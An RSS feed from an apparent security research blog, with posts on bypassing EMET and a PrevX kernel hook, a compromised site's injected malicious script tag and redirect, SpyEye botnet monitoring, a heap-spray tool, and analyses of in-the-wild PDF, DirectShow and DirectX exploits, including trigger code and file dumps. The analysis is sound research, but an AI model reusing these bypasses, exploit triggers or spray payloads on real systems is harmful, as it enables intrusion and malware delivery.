<?xml version="1.0"?>
<rss version="2.0">
	<channel>
		<title>PornoSecurity</title>
		<link>http://www.pornosecurity.org/</link>
		<description>PornoSecurity Feed</description>
		<item>
			<title>Updated: Export Address Table Filtering (EMET v2)</title>
			<link>http://www.pornosecurity.org/blog/export_address_table_filtering_EMET_2</link>
		<description><![CDATA[I'll tell you the truth: Export Address Table Filtering, the feature of the <a href="http://blogs.technet.com/b/srd/archive/2010/07/28/announcing-the-upcoming-release-of-emet-v2.aspx">upcoming release of EMET</a>, "designed to break nearly all shell code in use today", intrigued me a bit.<br /><br />Since I wasn't able to find docs about the actual implementation, I started to think about how that could be done and I wrote a simple POC that uses <a href="http://msdn.microsoft.com/en-us/library/aa366898(VS.85).aspx">VirtualProtect</a> to flag the relevant pages of the .data section of ntdll and kernel32 with <a href="http://msdn.microsoft.com/en-us/library/aa366549(VS.85).aspx">PAGE_GUARD</a> to intercept read operations over the <a href="http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html">PEB.Ldr</a>. A <a href="http://msdn.microsoft.com/en-us/library/ms681420(VS.85).aspx">Vectored Exception Handler</a> is then used to handle the exception and to check if the faulting address is within the code section of a module(<a href="http://msdn.microsoft.com/en-us/library/aa366775(VS.85).aspx">MEMORY_BASIC_INFORMATION.Type</a> == MEM_IMAGE). Here is the pseudo-code:<br /> <br /><pre>BOOL WINAPI DllMain(...){    [...]    AddVectoredExceptionHandler(1, VectoredHandler);    VirtualProtect(PLDR,        PAGE_SIZE,        PAGE_READWRITE|PAGE_GUARD,        &amp;old_protect);    [...]}LONG CALLBACK VectoredHandler(    __in PEXCEPTION_POINTERS ExceptionInfo){    [...]    if(ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode ==        STATUS_GUARD_PAGE_VIOLATION)    {        VirtualQueryEx(GetCurrentProcess()	,            (LPVOID)ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress,            &amp;lpMemInfo,            sizeof(MEMORY_BASIC_INFORMATION)))        if(lpMemInfo.Type != MEM_IMAGE)            ShellcodeDetected();    [...]</pre><br /> <br />Yesterday I found <a href="http://www.microsoft.com/presspass/events/blackhat/docs/BlackHatEMETFS.docx">this .doc</a>. It explains pretty much everything: they use hardware breakpoints to intercept read operations and a Vectored Exception Handler to check if the faulting address belongs to a module.... pretty much the same thing, isn't it?<br /> <br />Then I started to think about how EAT filtering could be bypassed, obviously there are many ways to find the address of a function without touching the EAT, but I was looking for a quick way to just fix existing shellcodes and make them working under EMET. Since EMET is going to use hardware breakpoints it will be probably faster than the PAGE_GUARD approach because while you can put a breakpoint on a single DWORD using debug registers, the granularity of VirtualProtect is PAGE_SIZE.<br /> <br />But hardware registers can be zeroed out, disabling the protection, by taking advantage of the Structured Exception Handling and without even using a single API. And so, I thought, you can easily add to a metasploit shellcode something like this:<br/><pre>START:    call +0                  // poor's man get_pc()    mov eax, [esp]    add eax, HANDLER_OFFSET    push eax               // install SEH handler    push fs:[0]    mov fs:[0], esp    xor eax, eax    mov byte [eax], 1	// oops    [...]HANDLER:    xor eax, eax    mov ebx, [esp+0xc]	// context    add [ebx+0xb8], 3	// eip += len("mov byte [eax], 1")    mov [ecx+0x4], EAX	// clean debug registers    mov [ecx+0x8], EAX    mov [ecx+0xc], EAX    mov [ecx+0x10], EAX    mov [ecx+0x14], EAX    mov [ecx+0x18], EAX    ret</pre><br />right? <strike>Well, not quite really! Because this is not gonna work with SAFESEH enabled! :)</strike><br /> <br />Btw, is there a way to <strong>quickly</strong> disable PAGE_GUARD using only position independent code and without touching EAT?]]></description>
		<pubDate>Tue, 31 August 2010 23:50:29 +0000</pubDate>
		</item>
		<item>
			<title>Time of check, time of use</title>
			<link>http://www.pornosecurity.org/blog/Time_Of_Check_Time_Of_Use</link>
		<description><![CDATA[The point is that something bad could happen between the Time of Check and the Time of Use.  <br />  <br /> For example, if an antivirus wants to block applications from getting an handle to a protected process, it could hook <a href="http://msdn.microsoft.com/en-us/library/ff567022%28v=VS.85%29.aspx">NtOpenProcess</a> and check if the pid belongs to one of the protected processess. The problem is that, if the thing/parameter the antivirus in going to check is a pointer to a user-space value(as it is the case for the <a href="http://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html">CLIENT_ID</a> structure needed by <a href="http://msdn.microsoft.com/en-us/library/ff567022%28v=VS.85%29.aspx">NtOpenProcess</a>), even on single-core boxes where the scheduler has the ability to stop a thread in any moment and to start another one, a thread could have the chance to change the user-space value right after the Time of Check but before the Time of Use. <br /> <br />A couple of days ago I was reading <a href="http://www.matousec.com/info/articles/khobe-8.0-earthquake-for-windows-desktop-security-software.php">this</a>. It starts telling the world the sky is falling then at the end of the document: "we were kidding, it's pretty old stuff, everyones knows that.. but we wrote this awesome tool that makes the very unlikely thing to happen!". <br />  <br /> While I was reading I started to think about how hard could be to win the race between a kernel-mode thread running inside a kernel-mode hook and a user-space thread trying to fake pointers/parameters. It turns out that it's pretty easy, at least on dual-core boxes.<br /> <br /> While researching on infostealers and browser hijackers I found <a href="http://www.prevx.com/">PrevX</a>, that is a personal firewall specifically targeted to defend users from this kind of stuff and that claims to be able to protect personal data even when the box is compromised. One of the way it does that is by hooking a couple of system services in order to protect the browser's address space from being tampered. <br />  <br /> One of the system services that it hooks is <a href="http://msdn.microsoft.com/en-us/library/ff567022%28v=VS.85%29.aspx">NtOpenProcess</a>. <br /><a href="/images/NtOpenProcessHook.jpg" ><img src="/images/NtOpenProcessHook.jpg"  width="520"></a>The hook checks both the <a href="http://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html">CLIENT_ID</a> structure and the <a href="http://msdn.microsoft.com/en-us/library/ms684880%28v=VS.85%29.aspx">DesideredAccessMask</a> parameter: if the process requested(in the <a href="http://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html">CLIENT_ID</a> structure) is one of the protected processes(iexplorer.exe for example) it checks for the requested access mode. <br /> <a href="/images/hook.jpg" ><img src="/images/hook.jpg"  width="520"></a>Indeed if you try to open up an handle to iexplorer.exe with VM_WRITE|CREATE_THREAD, you'll end up with a NULL process handle. <br />  <br /> Bypassing this is straight forward, all you need to do is to spawn the faker thread that changes the Processid member of the <a href="http://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html">CLIENT_ID</a>  structure and then call <a href="http://msdn.microsoft.com/en-us/library/ff567022%28v=VS.85%29.aspx">NtOpenProcess</a>in a loop, in a couple of second you'll get the desidered handle. <br /> <a href="/images/got_handle.jpg" ><img src="/images/got_handle.jpg"  width="520"></a> <br /> <a href="/toctou.c">Code Here</a>]]></description>
		<pubDate>Thu, 20 May 2010 00:27:22 +0000</pubDate>
		</item>
		<item>
			<title>MalwareDomains.com Serving Malware</title>
			<link>http://www.pornosecurity.org/blog/malware_domains_serving_malware</link>
		<description><![CDATA[This morning malwaredomains.com was serving malware from their homepage.At the end of the page there is a little line added:<blockquote> &lt;script src="http://indesignstudioinfo.com/ls.php"&gt;&lt;/script&gt;</body></blockquote>The Javascript in there, change the browser location to:<blockquote>        var url="http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXpSYk2hoZZublQ%3D%3D";window.top.location.replace(url);</blockquote>Then a pretty good-looking, but actually fake, antivirus scans you computer:<br /> <a href="/images/malwaredomains.jpg" ><img src="/images/malwaredomains.jpg" width="520"></a>No matter what you will choose and you'll be asked to download and execute a PE executable. <br />  <br /> <a href="http://www.virustotal.com/analisis/d42f35f7cdfdf0ec20122c05ade733f8cf14c5e69f18f5f8d718c4eb2a8498cf-1273211519">VirusTotal</a> <br />  <br /> <a href="http://anubis.iseclab.org/?action=result&task_id=1c301ccd468f0b9a47d8f177f6e86d120&format=html">Anubis Report</a> <br />  <br /> <a href="http://www.sunbeltsecurity.com/cwsandboxreport.aspx?id=12060173&cs=3A3A1A7EFF8151D4A5BA123E0AE707D8">CWSandbox</a> <br />  <br /> Right now the page looks clean, but it seems they had something worst than upgrade problems: <br />  <br /> <a href="/images/malwaredomains_oops.jpg" ><img src="/images/malwaredomains_oops.jpg" width="520"></a> <br />  <br /> You can read some about the attack <a href="http://www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-zettapetta-on-dreamhost/">HERE</a>]]></description>
		<pubDate>Fri, 07 May 2010 18:54:30 +0000</pubDate>
		</item>
		<item>
			<title>Scary monsters (and super creeps)</title>
			<link>http://www.pornosecurity.org/blog/scary_monsters_and_super_creeps</link>
		<description><![CDATA[Hey there, I bet you tought I was dead, don't you? Truth is, again, I'm alive and kicking :> <br /><br />Since I've been monitoring the <a href="http://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot">SpyEye</a> for a while now, I wanna tell you and show you something.<br/>The toolkit, ready to be bought by cybercriminals all over the world, was discovered in obscure underground forums(it's the black scary market, baby!) early last month by Symantec and Others(tm) taking advantage of their worldwide intellingence gathering systems, of some covert operations..... you know, stuff like that:<br /><a href="/images/ICanHazSpyEye.jpg" ><img src="/images/ICanHazSpyEye.jpg" width="520"></a><br/><br/>SpyEye is actually very similar to Zeus: they share the majority of the functionalities, expose pretty much the same behaviour, and take advantage of the same mechanisms(http for communication, encrypted configuration, kewl web panel etc).SpyEye has some missing features like a ring0 rootkit for example(but you bet it will be added if the toolkit is gonna be popular) and some minor problems.. it still looks pretty young. One of the low-level distinctive signs I found of the spyEye droppers is the following schema used for api calls as well as the use(and hooking) of the LoadrDllLoad function.<br/><a href="/images/apiwrapper.JPG"><img src="/images/apiwrapper.JPG" width="520"></a><br/><br/>The bootstrap configuration file of SpyEye is often brought you by the dropper itself, it is embedded as a PE resource and it is actually an encrypted zip. Just like with Zeus the decryption key can be found within the code but since the code is not obfuscated there's no need to let the dropper run(that is, infect a VM) to extract the plain-text.In the last days I have been monitoring a couple of SpyEye C&C and looking at the number of zombies starting from near-to-zero and increasing day by day. The image below shows the geographic distribution of a growing botnet I am monitoring:<br/><br/><a href="/images/mapsSpyEye.jpg"><img src="/images/mapsSpyEye.jpg" width="520" height="300"></a><br/><br/><br/>What's the sexy thing in here? Well, look at the picture: blue points are SpyEye infected zombies, red points instead are sandboxes all over the world trying to analyze SpyEye samples ;)]]></description>
		<pubDate>Wed, 03 March 2010 11:44:53 +0000</pubDate>
		</item>
		<item>
			<title>Happy exploit wednesday!</title>
			<link>http://www.pornosecurity.org/blog/happy_exploit_wednesday</link>
		<description><![CDATA[A lot of remote exploitable vulns this time. The first vuln I had time to spend on is ms09-057.<br /> <br />The vulnerability lies in query.dll, and could be triggered by passing a malformed url-encoded url to the DecodeUrlEscapes() and DecodeEscapes() functions.Since query.dll it is used by ixsso.dll that could be loaded in a web page as an activex it is possible to exploit the vulnerability by passing a malformed url-encoded url to the SetQueryFromUrl() function.<br /> <br/>But hey, there could be different ways to reach the vulnerable code!Somebody should scan windows dll and exe to look for imports from query.dll :)]]></description>
		<pubDate>Wed, 14 October 2009 12:49:15 +0000</pubDate>
		</item>
		<item>
			<title>All you can spray</title>
			<link>http://www.pornosecurity.org/blog/all-you-can-spray</link>
		<description><![CDATA[<p>Since I'm tired of reinventing the wheel, I decided to write a couple of lines of code an to wrap it in a easy-to-use, single php file. </p><p>Just put it in your DocumentRoot and you get ActionScript(flash) heap spraying and/or a wonderful .NET assembly loaded at the address you choose.</p><p>&nbsp;</p><p>The script accepts different parameters:</p><p>- t: 'd' if you want a .NET assembly, 'f' for SWF</p><p>- s: shellcode</p><p>- n: nop</p><p>- c: number of chunks to spray (for SWF)</p><p>- b: base address (for .NET assembly)</p><p>&nbsp;</p><p>For example, to request a .NET assembly with base address of 0x41410000, a nopsled of 0x0a and an INT 3 as shellcode:</p><pre>/spray.php?t=d&amp;s=%cc&amp;n=0x0a&amp;b=4141</pre><p>if you want to spray the heap with flash instead:</p><pre>/spray.php?t=f&amp;s=%cc&amp;n=0x0a&amp;c=0x500</pre><p>&nbsp;</p><p><a href="http://www.pornosecurity.org/spray.tar.gz" target="_blank" title="Spray">Here</a> you can find a .tar.gz with the script, an html example and the flash spray sources(to be compiled with <a href="http://haxe.org/" target="_blank" title="Haxe">haxe</a>). </p><p>No, there's no source for the .NET control in the .tar.gz(it's 1Mb, too heavy). To make one, just create a class and put in there a huge static string, it will be loaded in +rx area. </p><p>Have fun :)</p>]]></description>
		<pubDate>Thu, 13 August 2009 12:49:25 +0000</pubDate>
		</item>
		<item>
			<title>Update: PDF sploits in the wild</title>
			<link>http://www.pornosecurity.org/blog/update-pdf-sploits-in-the-wild</link>
		<description><![CDATA[I wanna add just a bit to the last post. It turns out that the evil site serving the malicious PDF uses ActionScript to spray the heap and to inject the shellcode in memory.<a href="http://www.pornosecurity.org/fla_spray.txt">Here</a> it is the full code, enjoy.]]></description>
		<pubDate>Fri, 24 July 2009 16:15:34 +0000</pubDate>
		</item>
		<item>
			<title>PDF sploits in the wild</title>
			<link>http://www.pornosecurity.org/blog/pdf-sploits-in-the-wild</link>
		<description><![CDATA[<p>Just a couple of minutes ago I was taking my dayly dose of interweb when I stumbled upon the <a href="http://xorl.wordpress.com/" target="_blank" title="Xorl">xorl blog</a>, who linked <a href="http://www.milw0rm.com/exploits/9233" target="_blank" title="pdf sploit">this pdf</a> that was linked by hdmoore from a live malware site. I googled a bit to find the live site and I found it. Xorl stated that it seems to be CVE-2009-1856, an integer overflow that <a href="http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=807" target="_blank" title="iDefense advisory">iDefense said</a> it could result in a heap buffer being overflowed. It could be, yes, but actually if you load this PDF you'll get a stack overflow and a wonderful SEH overwrite:</p><p>&nbsp;<img src="http://www.pornosecurity.org/images/russsia_forever3.jpeg" alt="pdf sploit" title="stack overflow" width="543" height="234" /></p><p>&nbsp;</p><p>I'm not saying that it's not CVE-2009-1856 and I don't have the time to take a closer look at the vuln right now(actually I going to go to get drunk :). It smashes the stack yes, but the root cause could be an overly long heap buffer copied(it's an strcat) onto the stack. You may wonder what's the sexy thing in here... well, take a look at the pdf :)</p><p>&nbsp;</p><p><img src="http://www.pornosecurity.org/images/russsia_forever2.jpeg" alt="russia forever" title="russia forever" align="baseline" /></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp; </p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp; &nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>funny eh? :) </p><p>&nbsp;</p>]]></description>
		<pubDate>Thu, 23 July 2009 21:37:04 +0000</pubDate>
		</item>
		<item>
			<title>MPEG2TuneRequest 0-day</title>
			<link>http://www.pornosecurity.org/blog/MPEG2TuneRequest-0-day</link>
		<description><![CDATA[Again, another DirectShow vulnerability.                                                                                                               </p>                                                                                                                                                   <p>This time it is a stack based buffer overflow triggered by passing an url of a crafted file to the &quot;data&quot; property of an MPEG2TuneRequest object. This is how a malicious script looks like:</p><pre>my obj = document.createElement('object');myObject.data='logo.gif';obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';</pre>This is the hex dump of the malicious file:<pre>00030000 11203400 00000000 00000000 00000000 0000000000000000 00000000 00000000 00000000 00000000 0000000000000000 0000FFFF FFFF0C0C 0C0C00</pre>The seventh byte of the file(0x34) is used as an argument for the <a href="http://msdn.microsoft.com/en-us/library/aa365467(VS.85).aspx" target="_blank" title="ReadFile">ReadFile</a> function:<p>&nbsp;</p><p><img src="http://www.pornosecurity.org/images/readfile.jpeg" alt="ReadFile" title="ReadFile" width="530" height="647" /></p><p>&nbsp;</p><p>As you can see 0x34 bytes are being copied to the stack and a SE Handler is being overwritten. The SEH will be overwritten with the 4 bytes at offset 63 within the file(0x0c0c0c0c) thus hijacking the execution flow at the first exception.&nbsp;&nbsp;</p>]]></description>
		<pubDate>Tue, 07 July 2009 16:57:01 +0000</pubDate>
		</item>
		<item>
			<title>Bad guys and sexy sploits: CVE-2009-1537</title>
			<link>http://www.pornosecurity.org/blog/bad-guys-and-sexy-sploits-cve-2009-1537</link>
		<description><![CDATA[<p>The <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1537" target="_blank" title="CVE-2009-1537">vulnerability</a> is in DirectX &lt;=9.0c, it is currently <a href="http://www.microsoft.com/technet/security/advisory/971778.mspx" target="_blank" title="971778">unpatched</a> and it is exploited in-the-wild-wild-interwebs by some bad guys. I've got a live sample a couple of days ago and I found it quite interesting. </p><p>The bug is triggered when a crafted QuickTime media file is parsed by quartz.dll and can be abused to overwrite a single byte with the fixed value of 0. This is definetely an interesting scenario for an exploit writer: you have to hijack the execution flow just by changing one byte of memory with a value you can't control!</p><p>To exploit such a vuln you need to be lucky. But, guess what... video files can be embedded in browsers... and browsers are h4x0r's best friends! :)&nbsp;</p><p>&nbsp;</p><p><img src="http://www.pornosecurity.org/images/wm1.jpeg" alt="immdbg" title="immdbg" width="530" height="255" /></p><p>&nbsp;</p><p>As you can see the value of 0 is being written to [EBP+EAX-39], EAX holds the value we control. Being EAX 0x3F, the byte overwritten will be the second byte of a <a href="http://en.wikipedia.org/wiki/Return_statement" target="_blank" title="Return">saved return address</a>. A <a href="http://faydoc.tripod.com/cpu/ret.htm" target="_blank" title="ret">RET instruction</a> that will be eventually executed, instead of &quot;returning&quot; to the caller function, will &quot;return&quot; to 0x7400c619. To put in there a shellcode, the bad guys use a known <a href="http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections.pdf" target="_blank" title="Bypassing Browser Memory Protections">.NET trick</a>. This is how the malicious page looks like:&nbsp;</p><pre>&lt;HTML&gt;&lt;BODY&gt;&lt;OBJECT classid=&quot;3713d2.dll#ActiveXDotNet.DSquare&quot;&gt;&lt;/OBJECT&gt;&lt;OBJECT id=&quot;target&quot; classid=&quot;clsid:6bf52a52-394a-11d3-b153-00c04f79faa6&quot;&gt;&lt;/OBJECT&gt;&lt;SCRIPT&gt;target.URL = &quot;d2.avi&quot;;target.controls.play();&lt;/SCRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;</pre><p>&nbsp;Not surprisingly the .NET DLL has the right ImageBase attribute:&nbsp;</p><p>&nbsp;<img src="http://www.pornosecurity.org/images/wm2.jpeg" alt="ImageBase" title="ImageBase" width="530" height="110" /></p><p>&nbsp;</p><p>The shellcode is a quite advanced piece of code. It first retrieves the <a href="http://msdn.microsoft.com/en-us/library/aa813706(VS.85).aspx" target="_blank" title="PEB">PEB</a> and cycles through the <a href="http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx" target="_blank" title="PEB_LDR_DATA">modules list</a> to find the image base of kernel32.dll, it actually compares each module name in the list instead of just assuming that the second entry is the right one. Instead of just resolving <a href="http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx" target="_blank" title="LoadLibrary">LoadLibrary</a>/<a href="http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx" target="_blank" title="GetModuleHandle">GetModuleHandle</a> and <a href="http://msdn.microsoft.com/en-us/library/ms683212(VS.85).aspx" target="_blank" title="GetProcAddress">GetProcAddress</a>, it actually cycles through kernel32.dll, ntdll.dll and advapi32.dll exports to locate the following functions:&nbsp;</p><pre>VirtualProtectGetCurrentProcessCloseHandleWaitForSingleObjectGetCurrentProcessIdOpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThreadCreateProcessAGetEnvironmentVariableAExitProcessExitThreadLookUpPrivilegeValueAOpenProcessTokenAdjustTokenPrivilegesSetThreadTokenRtlExitUserThread</pre><p><a href="http://msdn.microsoft.com/en-us/library/ms682425(VS.85).aspx" target="_blank" title="CreateProcessA">CreateProcessA</a> is then used to spawn iexplore.exe. The CREATE_SUSPENDED and CREATE_NEW_CONSOLE <a href="http://msdn.microsoft.com/en-us/library/ms684863(VS.85).aspx" target="_blank" title="Process Creation Flags">process creation flags</a> instruct  the kernel to suspend the main thread and to create a window-less(hidden) process:&nbsp;</p><pre>/CALL to CreateProcessA |ModuleFileName = NULL|CommandLine = &quot;C:\Program Files\Internet Explorer\iexplore.exe&quot;|pProcessSecurity = NULL|pThreadSecurity = NULL|InheritHandles = FALSE|CreationFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE|pEnvironment = NULL|CurrentDir = NULL|pStartupInfo = 0199E7A8\pProcessInfo = 0199E798</pre><p>A process handle to the newly created process is acquired with <a href="http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx" target="_blank" title="OpenProcess">OpenProcess</a> and a payload is injected into IExplorer. <a href="http://msdn.microsoft.com/en-us/library/ms682437(VS.85).aspx" target="_blank" title="CreateRemoteThread">CreateRemoteThread</a> is then used with the payload address as the entrypoint(lpStartAddress):&nbsp;</p><pre>/CALL to OpenProcess |Access = CREATE_THREAD|VM_OPERATION|VM_READ|VM_WRITE|QUERY_INFORMATION|Inheritable = FALSE\ProcessId = A38&nbsp;/CALL to VirtualAllocEx|hProcess = 3F0|lpAddress = NULL|dwSize = 5B6|flAllocationType = 1000\flProtext = PAGE_EXECUTE_READWRITE&nbsp;/CALL to WriteProcessMemory|hProcess = 3F0 |Address = 140000|Buffer = 0199E99E|BytesToWrite = 5B6 (1462.)\pBytesWritten = NULL&nbsp;/CALL to CreateRemoteThread|hProcess = 3F0|lpThreadAttributes = NULL|dwStackSize = NULL|lpStartAddress = 140000|lpParameter = NULL|dwCreationFlag = NULL\lpThreadId = NULL &nbsp;</pre><p>While the first process exits with a call to <a href="http://msdn.microsoft.com/en-us/library/ms682658(VS.85).aspx" target="_blank" title="ExitProcess">ExitProcess</a>, the second instead calls home.This behaviour should look familiar, it is pretty much the same trickused by conficker: it will bypass your personal firewall because itinjects code in a trusted application and your AV won't detect any suspicious disk activity.</p>]]></description>
		<pubDate>Mon, 06 July 2009 21:25:51 +0000</pubDate>
		</item>
	</channel>
</rss>
